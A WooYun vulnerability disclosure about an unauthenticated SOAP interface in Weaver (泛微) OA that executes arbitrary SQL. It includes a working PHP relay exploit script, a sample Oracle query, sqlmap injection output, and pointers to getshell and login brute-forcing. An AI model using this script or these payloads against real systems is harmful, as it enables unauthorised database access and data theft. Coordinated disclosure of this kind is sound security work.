当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0178866

漏洞标题：泛微OA某接口无需登录可执行任意SQL语句（附脚本）

相关厂商：上海泛微网络科技股份有限公司

漏洞作者： 浮萍

提交时间：2016-02-26 16:10

修复时间：2016-05-26 17:20

公开时间：2016-05-26 17:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-02-26： 细节已通知厂商并且等待厂商处理中
2016-02-26： 厂商已经确认，细节仅向厂商公开
2016-02-29： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2016-04-21： 细节向核心白帽子及相关领域专家公开
2016-05-01： 细节向普通白帽子公开
2016-05-11： 细节向实习白帽子公开
2016-05-26： 细节向公众公开

简要描述：

荒废了
啥都不会
找工作啊

详细说明：

先以本地为例
http://localhost:8088/ws

Snap67.jpg


http://localhost:8088/ws/query?wsdl


Snap68.jpg


竟然提示

<faultstring>Unmarshalling Error: unexpected element (uri:"http://**.**.**.**/", local:"arg0"). Expected elements are &lt;{}arg1&gt;,&lt;{}arg0&gt; </faultstring>


搜索

Snap69.jpg


提示是参数问题
改代码肯定是不行的
那就改参数吧

Snap71.jpg


ORA-00900: 无效 sql 语句
看来是可以的
更改第一个参数

select SYS_CONTEXT('USERENV','CURRENT_USER') from dual


Snap72.jpg


查看用户量

Snap73.jpg


任意SQL执行
继续中转

<?php
$arg0=$_GET['sql'];
header("content-type:text/html;charset=utf-8");
try {
$client = new SoapClient('http://localhost:8088/ws/query?wsdl');
$xml = "
<SOAP-ENV:Envelope xmlns:SOAP-ENV='http://**.**.**.**/soap/envelope/' xmlns:soap='http://**.**.**.**/wsdl/soap/'  xmlns:xsd='http://**.**.**.**/1999/XMLSchema'  xmlns:xsi='http://**.**.**.**/1999/XMLSchema-instance'  xmlns:m0='http://**.**.**.**/'  xmlns:SOAP-ENC='http://**.**.**.**/soap/encoding/' xmlns:urn='http://**.**.**.**/'>
     <SOAP-ENV:Header/>
     <SOAP-ENV:Body>
        <urn:queryBy>
           <arg0>1</arg0>
           <arg1>1</arg1>
        </urn:queryBy>
     </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
";
$result=$client->queryBy(array('arg0'=>$arg0,'arg1'=>'1'));
echo $result->return ;//显示结果  
} catch (SOAPFault $e) {
print_r('Exception:'.$e);
}
?>


Snap74.jpg


SQL注入

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: sql
    Type: inline query
    Title: Oracle inline queries
    Payload: sql=(SELECT CHR(113)||CHR(115)||CHR(112)||CHR(99)||CHR(113)||(SELEC
T (CASE WHEN (8499=8499) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(101)||CHR(
112)||CHR(97)||CHR(113) FROM DUAL)
---
[15:39:49] [INFO] the back-end DBMS is Oracle
web server operating system: Windows
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: Oracle


available databases [20]:
[*] APEX_030200
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] EWEAVER
[*] EXFSYS
[*] FLOWS_FILES
[*] MDSYS
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] PM
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB

漏洞证明：

官方：http://**.**.**.**:9085/ws/query?wsdl

Snap76.jpg


Snap75.jpg


SQL注入就不进行了 毕竟可以执行SQL语句
http://**.**.**.**/ws/query?wsdl

Snap77.jpg


http://**.**.**.**/ws/query?wsdl

Snap78.jpg


http://**.**.**.**/bugs/wooyun-2015-0148980
这个估计还没修复 可以getshell
http://localhost:8088/ws/ew?wsdl
可以用于爆破登录

Snap79.jpg


Snap80.jpg


其他问题估计还有 自测吧

修复方案：

版权声明：转载请注明来源 浮萍@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2016-02-26 17:11

厂商回复：

漏洞确认，会尽快安排处理，非常感谢！

最新状态：

暂无

漏洞评价：

评价

  1. 2016-02-26 16:18 | 路人毛 ( 普通白帽子 | Rank:131 漏洞数:60 | 要想Rank给高，标题一定得屌)

    找工作，你在哪个地方啊？

  2. 2016-02-26 16:22 | 浮萍 ( 普通白帽子 | Rank:1056 漏洞数:208 )

    @路人毛 准备去郑州找

  3. 2016-02-26 16:25 | 路人毛 ( 普通白帽子 | Rank:131 漏洞数:60 | 要想Rank给高，标题一定得屌)

    @浮萍 哦哦 我们公司南昌那边要人

  4. 2016-02-26 16:28 | 浮萍 ( 普通白帽子 | Rank:1056 漏洞数:208 )

    @路人毛 谢了哦

  5. 2016-03-02 15:01 | ω电池ω ( 路人 | Rank:4 漏洞数:2 | neusoft)

    @浮萍 我是郑州的。。。我们要开发。。。

  6. 2016-03-02 15:59 | 浮萍 ( 普通白帽子 | Rank:1056 漏洞数:208 )

    @ω电池ω 谢了呀，四月去帝都

  7. 2016-03-03 11:36 | Joker ( 实习白帽子 | Rank:44 漏洞数:6 | while(age++) { rmb += make(); try {...)

    @浮萍 来郑州啊。

  8. 2016-03-04 17:58 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:3099 漏洞数:618 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    @Joker 你郑州的？

  9. 2016-04-13 10:34 | shlhack‘s bother ( 普通白帽子 | Rank:225 漏洞数:91 | 大哥是shlhack,二哥是大禹888，小杰哥他哥...)

    @浮萍 来帝都，收人啊

  10. 2016-04-13 10:50 | 乐乐 ( 普通白帽子 | Rank:223 漏洞数:62 | 一名信息安全员)

    泛微克星！

  11. 2016-05-26 17:25 | sysALong ( 普通白帽子 | Rank:360 漏洞数:72 | 在我们黑龙江这噶哒，就没有什么事是【撸串...)

    真坑人，现在中专代码居然免费了，前面我花了6 RANK 买的代码居然就是这个中转代码。。。。。。